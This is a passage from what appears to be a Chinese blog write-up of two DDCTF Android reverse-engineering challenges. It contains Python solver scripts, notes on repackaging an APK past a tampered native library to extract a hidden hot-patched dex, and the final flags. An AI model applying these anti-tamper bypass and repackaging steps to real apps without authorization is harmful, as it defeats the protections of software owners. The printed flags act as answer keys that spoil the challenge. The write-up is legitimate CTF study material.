key=[0x9,0x17,0x16,0x3,0x12,0xB,0x1B,0x0,0x4,0x10,0x19,0x5,0x17,0x1D,0x17,0x18,0x18,0x19,0xE,0x3,0x8,0x8,0x18,0xD,0x1E,0x9,0x19,0x1E,0x13,0x0,0x1E,0x1F,0x5,0x11,0x1A,0xD,0x17,0xF,0x1C,0x7,0x1B,0xA,0x8,0x9,0x7,0x1F,0x17,0xA,0xF,0x1F,0x4,0xD,0x18,0xE,0xB,0xB,0x12,0x4,0x3,0xD,0xD,0x4,0x5,0x1D,0xE,0x11,0x8,0x5,0x15,0x1C,0x7,0x1E,0x14,0x9,0x1F,0x2,0xD,0xE,0xA,0x19]
tele=[3,25,14,9,1,13,26,20,6,11,15,18,28,12,24,22,23,10,5,16,7,30,19,29,21,17,0,4,8,2,27]

flag='ZF'
enc=''

for i in range(2):
    tmp=tele[table.index(flag[i])]
    for j in range(10):
        tmp^=key[j*8+i]
    enc+=table[tele.index(tmp)]

print enc

i=0
succ=0
for a in table:
    for b in table:
        for c in table:
            for d in table:
                for e in table:
                    for f in table:
                        if i%100000==0: print float(i)*100/1073741824
                        tmp=enc+a+b+c+d+e+f
                        res=tmp
                        for k in range(5):
                            res=sha256(res).hexdigest()
                        i+=1
                        if res==target:
                            print tmp
                            enc=tmp
                            succ=1
                            break
                    if succ==1: break
                if succ==1: break
            if succ==1: break
        if succ==1: break
    if succ==1: break

flag=''
for i in range(8):
    tmp=tele[table.index(enc[i])]
    for j in range(10):
        tmp^=key[j*8+i]
    flag+=table[tele.index(tmp)]

print 'DDCTF{ddctf-android-lorenz-%s}' % flag

跑大概一个小时左右,就能跑到 Flag 了。

Flag: DDCTF{ddctf-android-lorenz-ZFPQETDB}

0x12 Android - Have Fun

题目:Android逆向,请找出正确的flag. 包裹上DDCTF{...}提交

这题真令人头疼。变量名全部经过 Unicode混淆,字符串全部经过 动态解密混淆,关键代码还插了 垃圾指令 导致生成伪代码失败。

尝试动态调试,直接闪退,logcat 显示 loadlibrary 时抛出 has invalid shdr offset/size 错误。上网查了一下,发现 Android >= 7 时开启了诸多对 .so 文件的检测。而这道题的 .so 头部被修改过,所以过不了这个检测。

先对 libhwFGfOp0EzktJb.so 进行分析。

此处会判断输入长度是否为14字节。

然后与 off_2910 进行比较。

off_2910 = @n|ixihPIppqws

再分析一下 smali 代码。发现它会调用到一个外部 dex 文件:assets/Y2xhc3Nlc19kZC5kZXg=。

这里会对用户输入进行 Encode,然后再交由 .so 进行比较。

写解密脚本,发现提交答案始终不正确。在这里卡了一段时间,后来重新审计 smali 代码,发现自己还是太年轻了,没玩懂出题人的套路。

里面有段代码会动态修改外部 dex 文件,往里面插入一些代码,重新计算头部的校验值,并且生成一个新的 dex 文件,释放到 /sdcard/ 里的一个隐藏文件夹里。新文件名为 dnsmanYUn12M.dex,这个才是真正被调用到的 dex 文件。没理解错的话,整个流程用术语好像是叫作 热修复?

那么如何得到新的 dex 文件呢。

搞了很久,终于找到一条行得通的办法。

由于 .so 被修改了头,直接运行 APK 会闪退,所以注释掉 smali 里 loadlibrary 这一行,重新打包 APK,这样就能不会闪退了。然后点击 Check 的按钮,让它生成新的 dex 文件,并且由于没有 loadlibrary 无法调用外部函数,触发闪退。

这样就能从隐藏文件夹里提取出新的 dnsmanYUn12M.vdex 和 dnsmanYUn12M.odex 文件。

然后手工转成 dnsmanYUn12M.dex 文件,进一步分析。

这才是真正的 dex 文件。套路真的深~

写解密脚本,一个很简单的解密流程。

enc='@n|ixihPIppqws'

flag=''
for i in range(len(enc)):
    flag+=chr(ord(enc[i])^(i+8))
print flag

终于得到 Flag。

Flag: DDCTF{Hgvbtdf_Yabbcf}

标签: CTF 安全

Comments